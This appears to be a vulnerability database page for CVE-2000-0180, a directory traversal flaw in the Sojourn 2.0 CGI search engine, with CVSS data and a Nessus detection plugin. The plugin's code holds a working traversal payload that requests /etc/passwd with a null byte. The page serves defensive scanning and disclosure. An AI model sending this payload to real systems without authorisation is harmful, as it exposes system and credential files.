Vulnerabilities > CVE-2000-0180 - Unspecified vulnerability in Generation Terrorists Designs and Concepts Sojourn 2.0

047910
CVSS 5.0 - MEDIUM
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
NONE
Availability impact
NONE
network
low complexity
generation-terrorists-designs-and-concepts
nessus
exploit available
NVD
Published: 2000-03-14
Updated: 2017-10-10

Summary

Sojourn search engine allows remote attackers to read arbitrary files via a .. (dot dot) attack.

Vulnerable Configurations

Part Description Count
Application
Generation_Terrorists_Designs_And_Concepts
1

Exploit-Db

descriptionGeneration Terrorists Designs & Concepts Sojourn 2.0 File Access Vulnerability. CVE-2000-0180. Remote exploit for cgi platform
idEDB-ID:19808
last seen2016-02-02
modified2000-03-14
published2000-03-14
reporterCerberus Security Team
sourcehttps://www.exploit-db.com/download/19808/
titleGeneration Terrorists Designs & Concepts Sojourn 2.0 File Access Vulnerability

Nessus

NASL familyCGI abuses
NASL idSOJOURN.NASL
descriptionThe \
last seen2020-06-01
modified2020-06-02
plugin id10349
published2000-03-17
reporterThis script is Copyright (C) 2000-2018 Tenable Network Security, Inc.
sourcehttps://www.tenable.com/plugins/nessus/10349
titleSojourn Search Engine sojourn.cgi cat Parameter Traversal Arbitrary File Access
code
#
# (C) Tenable Network Security, Inc.
#

include( 'compat.inc' );

if(description)
{
  script_id(10349);
  script_version ("1.34");
  script_cve_id("CVE-2000-0180");
  script_bugtraq_id(1052);

  script_name(english:"Sojourn Search Engine sojourn.cgi cat Parameter Traversal Arbitrary File Access");
  script_summary(english:"Checks for the presence of /cgi-bin/sojourn.cgi");

  script_set_attribute(
    attribute:'synopsis',
    value:'The remote CGI script is vulnerable to information disclosure.'
  );

  script_set_attribute(
    attribute:'description',
    value:'The \'sojourn.cgi\' CGI is installed. This CGI has
a well known security flaw that lets an attacker read arbitrary
files with the privileges of the http daemon (usually root or nobody).'
  );

  script_set_attribute(
    attribute:'solution',
    value:'Remove the \'sojourn.cgi\' CGI.'
  );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"false");

  # https://web.archive.org/web/20000819123626/http://archives.neohapsis.com/archives/ntbugtraq/2000-q1/0201.html
  script_set_attribute(
    attribute:'see_also',
    value:'http://www.nessus.org/u?e752703d'
  );

 script_set_attribute(attribute:"plugin_publication_date", value: "2000/03/17");
 script_set_attribute(attribute:"vuln_publication_date", value: "2000/03/13");
 script_cvs_date("Date: 2018/08/03 11:35:08");
  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_copyright(english:"This script is Copyright (C) 2000-2018 Tenable Network Security, Inc.");
  script_family(english:"CGI abuses");
  script_dependencie("find_service1.nasl", "http_version.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");
  exit(0);
}

#
# The script code starts here
#

include("global_settings.inc");
include("misc_func.inc");
include("http.inc");

port = get_http_port(default:80);

foreach dir (cgi_dirs())
{
 rq = string(dir, "/sojourn.cgi?cat=../../../../../etc/passwd%00");
 w = http_send_recv3(method:"GET", item:rq, port:port);
 if (isnull(w)) exit(1, "The web server on port "+port+" did not answer");
 r = strcat(w[0], w[1], '\r\n', w[2]);
 if(egrep(pattern:".*root:.*:0:[01]:.*", string:r))
 {
  security_warning(port);
 }
}

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